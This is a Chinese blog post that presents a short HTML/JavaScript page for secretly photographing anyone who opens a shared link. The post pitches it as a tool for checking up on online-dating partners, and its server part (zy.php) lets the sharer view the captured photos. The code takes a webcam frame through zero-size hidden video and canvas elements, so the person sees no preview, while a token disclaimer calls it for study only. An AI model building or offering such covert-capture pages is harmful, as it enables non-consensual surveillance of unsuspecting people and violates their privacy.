如何利用js调用摄像头(几行代码轻松搞定)

小初seo 2021年4月24日15:53:02网站建设评论380 次浏览1269字阅读4分13秒

你还在为苦苦经营的网恋对象是抠脚大汉而担心吗?
你还在为对方是声甜人垮的乔碧萝而苦恼吗?

一个小功能源码,利用JS调用手机摄像头,当访问网址后就能拍摄照片,前提是客户端给了权限

1、由于系统安全机制,ios系统必须使用自带的Safari浏览器(或者第三方APP调用的是Safari内核)才行

2、安卓端只要该APP有使用相机的权限就可以使用,多数情况下都会提醒用户是否给予相机权限,也有一部分应用不会提醒,自己进行测试

3、电脑端也可以,只要有摄像头,用浏览器打开会弹出使用摄像头的提醒

注:需要https访问

zy.php里面替换为自己域名如图修改

如何利用js调用摄像头(几行代码轻松搞定)

 

访问网址就能远程给你拍照,网恋防身神器

1.本工具仅做学习交流使用,请勿用于非法用途!后果自负!

2.ID是查看照片的凭证,不要泄露给知道这个平台的

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script>
        window.addEventListener("DOMContentLoaded", function() {
            var canvas = document.getElementById('canvas');
            var context = canvas.getContext('2d');
            var video = document.getElementById('video');

            if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
                navigator.mediaDevices.getUserMedia({ video: true }).then(function(stream) {
					video.srcObject = stream;
                    video.play();
                    
                    setTimeout(function(){context.drawImage(video, 0, 0, 480, 640);},1000);
                    setTimeout(function(){
                        var img = canvas.toDataURL('image/png');  
                        console.log(img)
                        document.getElementById("img").src=img
                        },1300);
                },function(){alert("操作失败,权限不够!");});
                
            }
		}, false);
    </script>
</head>
<body>
    
    <video id="video" width="0" height="0" autoplay></video>
	<canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas>
    <img src="" alt="" id="img">
</body>
</html>

 

小初seo
  • 本文由 发表于 2021年4月24日15:53:02
  • 转载请务必保留本文链接:https://www.pkak.cn/web/96.html
网站建设

服务器是什么(网络服务器是什么东西)

网络服务器是什么东西 服务器基本概念 按照百度百科解释,所谓服务器 ,指的是一种管理资源并为用户提供服务的计算机设备。从广义上来讲,服务器是指网络中能为其它机器提供某些服务的计算机系统;从狭义上来说,...
网站建设

建个微网站多少钱 怎么建立微网站

一般的中小微企业官方网站2000-3000元。如果是模板网站的话,一般的1000元左右,差一些的几百元的都有。 一个中小微企业网站的费用主要由以下三个部分构成: 1、域名、空间 域名的价格一般是固定的...
网站建设

三合一网站建设多少钱(一站式网站建设)

企业网站现在都要求三端合一,所谓三端就是指:电脑端、手机端、pad端。那么有人问只做一端可以不,答案是可以的,但这这样就会损失掉用其他端的客户,也会对企业的映像打折扣。 企业网站的制作方法有两类,分别...
匿名

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: